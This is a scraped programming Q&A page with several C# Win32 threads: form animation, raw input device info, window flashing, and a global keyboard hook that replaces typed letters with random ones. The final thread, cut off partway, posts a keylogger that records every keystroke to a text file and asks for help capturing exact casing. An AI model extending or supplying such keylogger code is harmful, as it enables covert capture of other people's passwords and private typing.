I am trying to make a simple sidebar which will slide in and out from the left side of the desktop. This is my code at the moment, but it doesn't actually work, and I fear it may be inefficient.
private void fadeIn()
{
if (this.Width == 1)
while (this.Size.Width < 36)
{
this.Size = new Size(this.Size.Width + 1, Screen.PrimaryScreen.Bounds.Width - this.Width);
System.Threading.Thread.Sleep(2);
this.Invalidate();
Application.DoEvents();
}
}
private void fadeOut()
{
if (this.Width == 36)
while (this.Size.Width > 1)
{
this.Size = new Size(this.Size.Width - 1, Screen.PrimaryScreen.Bounds.Width - this.Width);
System.Threading.Thread.Sleep(2);
this.Invalidate();
Application.DoEvents();
}
}
Hopefuly someone may be able to help me with this. It should be fairly simple.
I think your question about zooming form with fading, if yes you can use this class:
using System;
using System.Runtime.InteropServices;
namespace formAnimation
{
/// <summary>
/// Win32 implementation to show / hide a window with animation.
/// </summary>
public class WinAPI
{
/// <summary>
/// Animates the window from left to right. This flag can be used with roll or slide animation.
/// </summary>
public const int AW_HOR_POSITIVE = 0X1;
/// <summary>
/// Animates the window from right to left. This flag can be used with roll or slide animation.
/// </summary>
public const int AW_HOR_NEGATIVE = 0X2;
/// <summary>
/// Animates the window from top to bottom. This flag can be used with roll or slide animation.
/// </summary>
public const int AW_VER_POSITIVE = 0X4;
/// <summary>
/// Animates the window from bottom to top. This flag can be used with roll or slide animation.
/// </summary>
public const int AW_VER_NEGATIVE = 0X8;
/// <summary>
/// Makes the window appear to collapse inward if AW_HIDE is used or expand outward if the AW_HIDE is not used.
/// </summary>
public const int AW_CENTER = 0X10;
/// <summary>
/// Hides the window. By default, the window is shown.
/// </summary>
public const int AW_HIDE = 0X10000;
/// <summary>
/// Activates the window.
/// </summary>
public const int AW_ACTIVATE = 0X20000;
/// <summary>
/// Uses slide animation. By default, roll animation is used.
/// </summary>
public const int AW_SLIDE = 0X40000;
/// <summary>
/// Uses a fade effect. This flag can be used only if hwnd is a top-level window.
/// </summary>
public const int AW_BLEND = 0X80000;
/// <summary>
/// Animates a window.
/// </summary>
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int AnimateWindow (IntPtr hwand , int dwTime , int dwFlags) ;
}
}
And then you can write little code to animate the form like this:
WinAPI.AnimateWindow (this.Handle, animationTime, flags);
If you like to see simple demo of using this code download this open source code from here
Related
I have the problem that I can't seem to make GetRawInputDeviceInfo in combination with RIDI_DEVICEINFO (to try to retrieve a RID_DEVICE_INFO) is not working at all.
I get the error -1 back from the function, what should mean that there is not enough space to store the RID_DEVICE_INFO, buy I tried already to increase it to the more then needed but the effect the same.
I used the following DLLImports :
[DllImport("User32.dll")]
extern static uint GetRawInputDeviceInfo(IntPtr hDevice, uint uiCommand, IntPtr pData, ref uint pcbSize);
[DllImport("User32.dll")]
unsafe extern static uint GetRawInputDeviceInfo(IntPtr hDevice, uint uiCommand, IntPtr pData, IntPtr pcbSize);
Both with no result, but when I try these with RIDI_DEVICENAME they both work just fine.
In this case I call the function like this :
first to get the size: GetRawInputDeviceInfo(rid.hDevice, RIDI_DEVICENAME, IntPtr.Zero, pSize);
and then : GetRawInputDeviceInfo(rid.hDevice, RIDI_DEVICENAME, pData, pSize);
to get the name. Both work fine, but when I call the function like this :
int intReturn = (int)GetRawInputDeviceInfo(rid.hDevice, RIDI_DEVICEINFO, IntPtr.Zero, pInfoSize);
intReturn = (int)GetRawInputDeviceInfo(rid.hDevice, RIDI_DEVICEINFO, pInfoData, pInfoSize);
Then at first I get 0 into intReturn and also can get the correct size,
but then I get -1 into return, and whan I do a PtrToStructure it just returns wrong and seemingly random values.
Also when I after that do a GetLastWin32Error(), it return sometime 1008 or 87 , what also seems not to make any logic to me, because I don't see where I could have made the wrong parameters.
I defined RIDI_DEVICENAME and RIDI_DEVICEINFO as :
internal const uint RIDI_DEVICENAME = 0x20000007;
internal const uint RIDI_DEVICEINFO = 0x2000000b;
Can anyone help with this problem or show me a working C# example for GetRawInputDeviceInfo ?
Thanks,
Peter
I have it working in Windows 8.1 x64 (let me know if I have missed an enum or struct somewhere):
/// <summary>
/// Retrieves information about the raw input device.
/// </summary>
/// <param name="hDevice">A handle to the raw input device. This comes from the lParam of the WM_INPUT message, from the hDevice member of RAWINPUTHEADER, or from GetRawInputDeviceList. It can also be NULL if an application inserts input data, for example, by using SendInput.</param>
/// <param name="uiCommand">Specifies what data will be returned in pData.</param>
/// <param name="pData">A pointer to a buffer that contains the information specified by uiCommand. If uiCommand is RIDI_DEVICEINFO, set the cbSize member of RID_DEVICE_INFO to sizeof(RID_DEVICE_INFO) before calling GetRawInputDeviceInfo. </param>
/// <param name="pcbSize">The size, in bytes, of the data in pData. </param>
/// <returns>If successful, this function returns a non-negative number indicating the number of bytes copied to pData. If pData is not large enough for the data, the function returns -1. If pData is NULL, the function returns a value of zero. In both of these cases, pcbSize is set to the minimum size required for the pData buffer. Call GetLastError to identify any other errors.</returns>
/// <remarks>http://msdn.microsoft.com/en-us/library/windows/desktop/ms645597%28v=vs.85%29.aspx</remarks>
[DllImport("User32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern uint GetRawInputDeviceInfo(
[In] IntPtr hDevice,
[In] RawInputDeviceInformationCommand uiCommand,
[In, Out] IntPtr pData,
[In, Out] ref uint pcbSize);
public enum RawInputDeviceInformationCommand : int
{
/// <summary>
/// pData points to a string that contains the device name. For this uiCommand only, the value in pcbSize is the character count (not the byte count).
/// </summary>
RIDI_DEVICENAME = 0x20000007,
/// <summary>
/// pData points to an RID_DEVICE_INFO structure.
/// </summary>
RIDI_DEVICEINFO = 0x2000000b,
/// <summary>
/// pData points to the previously parsed data.
/// </summary>
RIDI_PREPARSEDDATA = 0x20000005
}
[StructLayout(LayoutKind.Explicit)]
public struct RID_DEVICE_INFO
{
/// <summary>
/// The size, in bytes, of the RID_DEVICE_INFO structure.
/// </summary>
[FieldOffset(0)]
public int cbSize;
/// <summary>
/// The type of raw input data.
/// </summary>
[FieldOffset(4)]
public RawInputDeviceType dwType;
/// <summary>
/// If dwType is RIM_TYPEMOUSE, this is the RID_DEVICE_INFO_MOUSE structure that defines the mouse.
/// </summary>
[FieldOffset(8)]
public RID_DEVICE_INFO_MOUSE mouse;
/// <summary>
/// If dwType is RIM_TYPEKEYBOARD, this is the RID_DEVICE_INFO_KEYBOARD structure that defines the keyboard.
/// </summary>
[FieldOffset(8)]
public RID_DEVICE_INFO_KEYBOARD keyboard;
/// <summary>
/// If dwType is RIM_TYPEHID, this is the RID_DEVICE_INFO_HID structure that defines the HID device.
/// </summary>
[FieldOffset(8)]
public RID_DEVICE_INFO_HID hid;
}
/// <summary>
/// Defines the raw input data coming from the specified mouse.
/// </summary>
/// <remarks>http://msdn.microsoft.com/en-us/library/windows/desktop/ms645589%28v=vs.85%29.aspx</remarks>
[StructLayout(LayoutKind.Sequential)]
public struct RID_DEVICE_INFO_MOUSE
{
/// <summary>
/// The identifier of the mouse device.
/// </summary>
public int dwId;
/// <summary>
/// The number of buttons for the mouse.
/// </summary>
public int dwNumberOfButtons;
/// <summary>
/// The number of data points per second. This information may not be applicable for every mouse device.
/// </summary>
public int dwSampleRate;
/// <summary>
/// TRUE if the mouse has a wheel for horizontal scrolling; otherwise, FALSE.
/// Windows XP: This member is only supported starting with Windows Vista.
/// </summary>
public bool fHasHorizontalWheel;
}
/// <summary>
/// Defines the raw input data coming from the specified keyboard.
/// </summary>
/// <remarks>http://msdn.microsoft.com/en-us/library/windows/desktop/ms645587%28v=vs.85%29.aspx</remarks>
[StructLayout(LayoutKind.Sequential)]
public struct RID_DEVICE_INFO_KEYBOARD
{
/// <summary>
/// The type of the keyboard.
/// </summary>
public int dwType;
/// <summary>
/// The subtype of the keyboard.
/// </summary>
public int dwSubType;
/// <summary>
/// The scan code mode.
/// </summary>
public int dwKeyboardMode;
/// <summary>
/// The number of function keys on the keyboard.
/// </summary>
public int dwNumberOfFunctionKeys;
/// <summary>
/// The number of LED indicators on the keyboard.
/// </summary>
public int dwNumberOfIndicators;
/// <summary>
/// The total number of keys on the keyboard.
/// </summary>
public int dwNumberOfKeysTotal;
}
/// <summary>
/// Defines the raw input data coming from the specified Human Interface Device (HID).
/// </summary>
/// <remarks>http://msdn.microsoft.com/en-us/library/windows/desktop/ms645584%28v=vs.85%29.aspx</remarks>
[StructLayout(LayoutKind.Sequential)]
public struct RID_DEVICE_INFO_HID
{
/// <summary>
/// The vendor identifier for the HID.
/// </summary>
public int dwVendorId;
/// <summary>
/// The product identifier for the HID.
/// </summary>
public int dwProductId;
/// <summary>
/// The version number for the HID.
/// </summary>
public int dwVersionNumber;
/// <summary>
/// The top-level collection Usage Page for the device.
/// </summary>
public ushort usUsagePage;
/// <summary>
/// The top-level collection Usage for the device.
/// </summary>
public ushort usUsage;
}
/// <summary>
/// The type of raw input data.
/// </summary>
public enum RawInputDeviceType : int
{
/// <summary>
/// Data comes from a mouse.
/// </summary>
RIM_TYPEMOUSE = 0,
/// <summary>
/// Data comes from a keyboard.
/// </summary>
RIM_TYPEKEYBOARD = 1,
/// <summary>
/// Data comes from an HID that is not a keyboard or a mouse.
/// </summary>
RIM_TYPEHID = 2,
}
//somewhere in your code:
IntPtr pData = IntPtr.Zero;
uint strsize = 0;
IntPtr deviceHandle = <your device handle here>;
result = GetRawInputDeviceInfo(deviceHandle, RawInputDeviceInformationCommand.RIDI_DEVICENAME, pData, ref strsize);
pData = Marshal.AllocHGlobal(((int)strsize)*2);
result = GetRawInputDeviceInfo(deviceHandle, RawInputDeviceInformationCommand.RIDI_DEVICENAME, pData, ref strsize);
Console.WriteLine("Result = " + result + " ErrorCode = " + Marshal.GetLastWin32Error());
string name = Marshal.PtrToStringAuto(pData);
Console.WriteLine("Name = " + name);
uint structsize = (uint)Marshal.SizeOf(typeof(RID_DEVICE_INFO));
RID_DEVICE_INFO di = new RID_DEVICE_INFO();
di.cbSize = (int)structsize;
pData = Marshal.AllocHGlobal((int)structsize);
result = GetRawInputDeviceInfo(deviceHandle, RawInputDeviceInformationCommand.RIDI_DEVICEINFO, pData, ref structsize);
di = (RID_DEVICE_INFO)Marshal.PtrToStructure(pData, typeof(RID_DEVICE_INFO));
Console.WriteLine("di.dwType = " + Enum.GetName(typeof(RawInputDeviceType), di.dwType));
switch (di.dwType)
{
case RawInputDeviceType.RIM_TYPEHID:
Console.WriteLine("di.hid.dwVendorId = " + di.hid.dwVendorId);
Console.WriteLine("di.hid.dwProductId = " + di.hid.dwProductId);
Console.WriteLine("di.hid.dwVersionNumber = " + di.hid.dwVersionNumber);
Console.WriteLine("di.hid.usUsagePage = " + di.hid.usUsagePage);
Console.WriteLine("di.hid.usUsage = " + di.hid.usUsage);
break;
case RawInputDeviceType.RIM_TYPEKEYBOARD:
Console.WriteLine("di.keyboard.dwType = " + di.keyboard.dwType);
Console.WriteLine("di.keyboard.dwSubType = " + di.keyboard.dwSubType);
Console.WriteLine("di.keyboard.dwNumberOfFunctionKeys = " + di.keyboard.dwNumberOfFunctionKeys);
Console.WriteLine("di.keyboard.dwNumberOfIndicators = " + di.keyboard.dwNumberOfIndicators);
Console.WriteLine("di.keyboard.dwNumberOfKeysTotal = " + di.keyboard.dwNumberOfKeysTotal);
break;
case RawInputDeviceType.RIM_TYPEMOUSE:
Console.WriteLine("di.mouse.dwId = " + di.mouse.dwId);
Console.WriteLine("di.mouse.dwNumberOfButtons = " + di.mouse.dwNumberOfButtons);
Console.WriteLine("di.mouse.dwSampleRate = " + di.mouse.dwSampleRate);
Console.WriteLine("di.mouse.fHasHorizontalWheel = " + di.mouse.fHasHorizontalWheel);
break;
default:
break;
}
I have a keyboard hook that intercepts the keys and outputs a random letter. What I want to do is set up a timer and have the keyboard unhook after one minute then in another minute hook itself back up. So the first part works, it hooks up on start and after one minute it unhooks, but then never hooks up again. How could I get it to re-hook after being unhooked?
Here's is the hook code:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Utilities {
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook {
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct {
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook() {
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook() {
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook() {
_hookProc = new keyboardHookProc(hookProc);
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook() {
UnhookWindowsHookEx(hhook);
hhook = IntPtr.Zero;
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
if (code >= 0) {
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key)) {
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
KeyDown(this, kea) ;
} else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) {
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
keyboardHookProc _hookProc;
#endregion
}
}
Here is the entry point to the application:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using Utilities;
using System.Timers;
namespace KeyRemapWindowsForm
{
static class Program
{
static bool _isHookActive = true;
static globalKeyboardHook gkh = new globalKeyboardHook();
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
System.Timers.Timer HookTimer = new System.Timers.Timer(60000);
HookTimer.Elapsed += new ElapsedEventHandler(HookTimer_Elapsed);
HookTimer.Start();
Begin();
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run();
GC.KeepAlive(HookTimer);
}
// Specify what you want to happen when the Elapsed event is
// raised.
static void HookTimer_Elapsed(object source, ElapsedEventArgs e)
{
if (_isHookActive)
{
End();
}
else
{
Begin();
}
}
static void Begin()
{
gkh = new globalKeyboardHook();
gkh.hook();
gkh.HookedKeys.Add(Keys.A);
gkh.HookedKeys.Add(Keys.B);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp += new KeyEventHandler(gkh_KeyUp);
_isHookActive = true;
}
static void End()
{
gkh.HookedKeys.Clear();
gkh.KeyDown -= new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp -= new KeyEventHandler(gkh_KeyUp);
gkh.unhook();
_isHookActive = false;
}
static void gkh_KeyUp(object sender, KeyEventArgs e)
{
SendKeys.Send(((KeyboardKeys)GetRandomKeyCode()).ToString());
e.Handled = true;
}
static void gkh_KeyDown(object sender, KeyEventArgs e)
{
e.Handled = true;
}
static int GetRandomKeyCode()
{
int RandomNum = 0;
while(RandomNum == 0)
{
Random RanNum = new Random();
RandomNum = RanNum.Next(65, 90);
switch(RandomNum)
{
case 68:
case 69:
case 86:
RandomNum = 0;
break;
default:
break;
}
}
return RandomNum;
}
}
public enum KeyboardKeys
{
/// <summary>
/// The A key.
/// </summary>
A = 65,
/// <summary>
/// The B key.
/// </summary>
B = 66,
/// <summary>
/// The C key.
/// </summary>
C = 67,
/// <summary>
/// The D key.
/// </summary>
D = 68,
/// <summary>
/// The E key.
/// </summary>
E = 69,
/// <summary>
/// The F key.
/// </summary>
F = 70,
/// <summary>
/// The G key.
/// </summary>
G = 71,
/// <summary>
/// The H key.
/// </summary>
H = 72,
/// <summary>
/// The I key.
/// </summary>
I = 73,
/// <summary>
/// The J key.
/// </summary>
J = 74,
/// <summary>
/// The K key.
/// </summary>
K = 75,
/// <summary>
/// The L key.
/// </summary>
L = 76,
/// <summary>
/// The M key.
/// </summary>
M = 77,
/// <summary>
/// The N key.
/// </summary>
N = 78,
/// <summary>
/// The O key.
/// </summary>
O = 79,
/// <summary>
/// The P key.
/// </summary>
P = 80,
/// <summary>
/// The Q key.
/// </summary>
Q = 81,
/// <summary>
/// The R key.
/// </summary>
R = 82,
/// <summary>
/// The S key.
/// </summary>
S = 83,
/// <summary>
/// The T key.
/// </summary>
T = 84,
/// <summary>
/// The U key.
/// </summary>
U = 85,
/// <summary>
/// The V key.
/// </summary>
V = 86,
/// <summary>
/// The W key.
/// </summary>
W = 87,
/// <summary>
/// The X key.
/// </summary>
X = 88,
/// <summary>
/// The Y key.
/// </summary>
Y = 89,
/// <summary>
/// The Z key.
/// </summary>
Z = 90
}
}
EDIT: So I took Jonathan.Peppers advice and put the check for isActive in the keydown event and that worked as far as faking like it was on and off. Now I have run into a new problem. After I have typed for awhile I get an InvalidOperationException with the reason being "Queue Empty" and not sure why it gets emptied when it's running just fine while I'm typing. I left the keyboard hook code alone but updated the application entry point code to the following:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using Utilities;
using System.Timers;
namespace KeyRemapWindowsForm
{
static class Program
{
static bool _isHookActive = true;
static globalKeyboardHook gkh = new globalKeyboardHook();
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
System.Timers.Timer HookTimer = new System.Timers.Timer(10000);
HookTimer.Elapsed += new ElapsedEventHandler(HookTimer_Elapsed);
HookTimer.Start();
Application.ApplicationExit += new EventHandler(OnApplicationExit);
gkh.hook();
gkh.HookedKeys.Add(Keys.S);
gkh.HookedKeys.Add(Keys.E);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp += new KeyEventHandler(gkh_KeyUp);
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run();
GC.KeepAlive(HookTimer);
}
static void OnApplicationExit(object sender, EventArgs e)
{
gkh.unhook();
}
static void HookTimer_Elapsed(object source, ElapsedEventArgs e)
{
if (_isHookActive)
{
_isHookActive = false;
}
else
{
_isHookActive = true;
}
}
static void gkh_KeyUp(object sender, KeyEventArgs e)
{
try
{
if (_isHookActive)
{
e.Handled = true;
}
}
catch
{
gkh.unhook();
Application.Exit();
}
}
static void gkh_KeyDown(object sender, KeyEventArgs e)
{
try
{
if (_isHookActive)
{
SendKeys.Send(((Keys)new Random().Next(65, 90)).ToString());
e.Handled = true;
}
}
catch
{
gkh.unhook();
Application.Exit();
}
}
}
}
EDIT: Stack trace I get from the above code after typing for awhile.
at System.Collections.Queue.Dequeue()
at System.Windows.Forms.SendKeys.SendInput(Byte[] oldKeyboardState, Queue previousEvents)
at System.Windows.Forms.SendKeys.Send(String keys, Control control, Boolean wait)
at System.Windows.Forms.SendKeys.Send(String keys)
at KeyRemapWindowsForm.Program.gkh_KeyDown(Object sender, KeyEventArgs e) in C:\Demos\KeyRemapWindowsForm\Program.cs:line 79
I've just been wrangling a very similar issue so I'm adding what I have found out to help anyone else having the problem.
The problem is the thread the hook is created on.
The System.Timers.Timer class will by default create a thread on the thread pool, not the main UI thread. If this thread goes, so does your hook.
You need to ensure the timer event it called on a thread that doesn't disappear.
You can either:
use the .SynchronizingObject property to ensure the call is made in the same thread as the object you specify.
Or you can marshal it yourself if you put something like this at top of your timer event:
this.InvokeCatchDisposedException(new MethodInvoker(() => HookTimer_Elapsed(sender, e)));
return;
Here's a link to describe the differences between the .net timers I found helpful.
https://msdn.microsoft.com/en-us/magazine/cc164015.aspx
Why don't you leave the hook in place continuously?
You can toggle your hook to not modify the keypress with your timer. Put an if (_hookEnabled) in your gkh_KeyUp and gkh_KeyDown methods.
I would think that setting up the hook would be an expensive operation anyways.
I have a program that lets the user open several forms. Once a given event occurs (ex : 30 seconds have passed) I need to get user attention on the Form that triggered the event, without stealing the focus.
I already get the form on top with:
f.TopMost = true;
but I'd like to implement some alternative to that. Since changing the border color of the frame seems a nearly impossible task ( this solution would have been the best one), does anyone has an idea on how to get attention without stealing focus?
Option A: You need to use FlashWindowEx from the windows API. This isn't available in .NET, so you need to use PInvoke.
Option B: Use a balloon tip from the system tray. This is built into .NET, but requires that your application use a notification icon, which you might not want. More details here: http://msdn.microsoft.com/en-us/library/system.windows.forms.notifyicon.showballoontip.aspx
Here is the example for how to use Option A:
pInvoke.net has the best example: http://pinvoke.net/default.aspx/user32.FlashWindowEx
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool FlashWindowEx(ref FLASHWINFO pwfi);
User-Defined Types:
[StructLayout(LayoutKind.Sequential)]
public struct FLASHWINFO
{
public UInt32 cbSize;
public IntPtr hwnd;
public UInt32 dwFlags;
public UInt32 uCount;
public UInt32 dwTimeout;
}
Notes:
//Stop flashing. The system restores the window to its original state.
public const UInt32 FLASHW_STOP = 0;
//Flash the window caption.
public const UInt32 FLASHW_CAPTION = 1;
//Flash the taskbar button.
public const UInt32 FLASHW_TRAY = 2;
//Flash both the window caption and taskbar button.
//This is equivalent to setting the FLASHW_CAPTION | FLASHW_TRAY flags.
public const UInt32 FLASHW_ALL = 3;
//Flash continuously, until the FLASHW_STOP flag is set.
public const UInt32 FLASHW_TIMER = 4;
//Flash continuously until the window comes to the foreground.
public const UInt32 FLASHW_TIMERNOFG = 12;
Tips & Tricks:
Please add some!
Sample Code:
/// <summary>
/// Flashes a window
/// </summary>
/// <param name="hWnd">The handle to the window to flash</param>
/// <returns>whether or not the window needed flashing</returns>
public static bool FlashWindowEx(IntPtr hWnd)
{
FLASHWINFO fInfo = new FLASHWINFO();
fInfo.cbSize = Convert.ToUInt32(Marshal.SizeOf(fInfo));
fInfo.hwnd = hWnd;
fInfo.dwFlags = FLASHW_ALL;
fInfo.uCount = UInt32.MaxValue;
fInfo.dwTimeout = 0;
return FlashWindowEx(ref fInfo);
}
...
/// Minor adjust to the code above
/// <summary>
/// Flashes a window until the window comes to the foreground
/// Receives the form that will flash
/// </summary>
/// <param name="hWnd">The handle to the window to flash</param>
/// <returns>whether or not the window needed flashing</returns>
public static bool FlashWindowEx(Form frm)
{
IntPtr hWnd = frm.Handle;
FLASHWINFO fInfo = new FLASHWINFO();
fInfo.cbSize = Convert.ToUInt32(Marshal.SizeOf(fInfo));
fInfo.hwnd = hWnd;
fInfo.dwFlags = FLASHW_ALL | FLASHW_TIMERNOFG;
fInfo.uCount = UInt32.MaxValue;
fInfo.dwTimeout = 0;
return FlashWindowEx(ref fInfo);
}
Here is the official Microsoft example: http://msdn.microsoft.com/en-us/library/ms679347(v=vs.85).aspx
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool FlashWindowEx(ref FLASHWINFO pwfi);
[StructLayout(LayoutKind.Sequential)]
public struct FLASHWINFO
{
/// <summary>
/// The size of the structure in bytes.
/// </summary>
public uint cbSize;
/// <summary>
/// A Handle to the Window to be Flashed. The window can be either opened or minimized.
/// </summary>
public IntPtr hwnd;
/// <summary>
/// The Flash Status.
/// </summary>
public FlashWindowFlags dwFlags; //uint
/// <summary>
/// The number of times to Flash the window.
/// </summary>
public uint uCount;
/// <summary>
/// The rate at which the Window is to be flashed, in milliseconds. If Zero, the function uses the default cursor blink rate.
/// </summary>
public uint dwTimeout;
}
public enum FlashWindowFlags : uint
{
/// <summary>
/// Stop flashing. The system restores the window to its original state.
/// </summary>
FLASHW_STOP = 0,
/// <summary>
/// Flash the window caption.
/// </summary>
FLASHW_CAPTION = 1,
/// <summary>
/// Flash the taskbar button.
/// </summary>
FLASHW_TRAY = 2,
/// <summary>
/// Flash both the window caption and taskbar button.
/// This is equivalent to setting the FLASHW_CAPTION | FLASHW_TRAY flags.
/// </summary>
FLASHW_ALL = 3,
/// <summary>
/// Flash continuously, until the FLASHW_STOP flag is set.
/// </summary>
FLASHW_TIMER = 4,
/// <summary>
/// Flash continuously until the window comes to the foreground.
/// </summary>
FLASHW_TIMERNOFG = 12
}
public static bool FlashWindow(IntPtr hWnd,
FlashWindowFlags fOptions,
uint FlashCount,
uint FlashRate)
{
if(IntPtr.Zero != hWnd)
{
FLASHWINFO fi = new FLASHWINFO();
fi.cbSize = (uint)Marshal.SizeOf(typeof(FLASHWINFO));
fi.dwFlags = fOptions;
fi.uCount = FlashCount;
fi.dwTimeout = FlashRate;
fi.hwnd = hWnd;
return FlashWindowEx(ref fi);
}
return false;
}
public static bool StopFlashingWindow(IntPtr hWnd)
{
if(IntPtr.Zero != hWnd)
{
FLASHWINFO fi = new FLASHWINFO();
fi.cbSize = (uint)Marshal.SizeOf(typeof(FLASHWINFO));
fi.dwFlags = (uint)FlashWindowFlags.FLASHW_STOP;
fi.hwnd = hWnd;
return FlashWindowEx(ref fi);
}
return false;
}
In Windows 7, a progress bar on a form is represented in its taskbar button; you might leverage that. There's also got to be a way to simply highlight the taskbar button, like IM programs do when you get a new message.
It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 12 years ago.
I got this application from the internet and I want to add some modifications. Unfortunately, I don't know what to do. This application is a simple Keylogger that saves the log in a text file.
*After reading the text file after the keylogging occurred, i noticed it had the words all in Upper Case, and for punctuation such as SPACE or ENTER, the word space and enter was used.
Can anyone please modify the code to save the exact casing of the character? I can't fairly understand the code.... thanks.
Form1.cs
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using Utilities;
namespace Key_Logger
{
/// <summary>
/// Summary description for Form1.
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
private System.Windows.Forms.ListBox listBox1;
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.Container components = null;
globalKeyboardHook gkh = new globalKeyboardHook();
private void HookAll()
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
gkh.HookedKeys.Add((Keys)key);
}
}
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
HookAll();
if (File.Exists(#"Keylogger.txt"))
{
File.Delete(#"Keylogger.txt");
}
}
void gkh_KeyDown(object sender, KeyEventArgs e)
{
StreamWriter SW = new StreamWriter(#"Keylogger.txt", true);
SW.Write(e.KeyCode);
SW.Close();
}
public Form1()
{
//
// Required for Windows Form Designer support
//
InitializeComponent();
//
// TODO: Add any constructor code after InitializeComponent call
//
}
/// <summary>
/// Clean up any resources being used.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
//Windows Form Designer generated code
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
}
}
globalKeyboardHook.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Utilities {
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook {
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct {
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
public bool _hookAll = false;
public bool HookAllKeys
{
get
{
return _hookAll;
}
set
{
_hookAll = value;
}
}
const int WH_KEYBOARD_LL = 13;
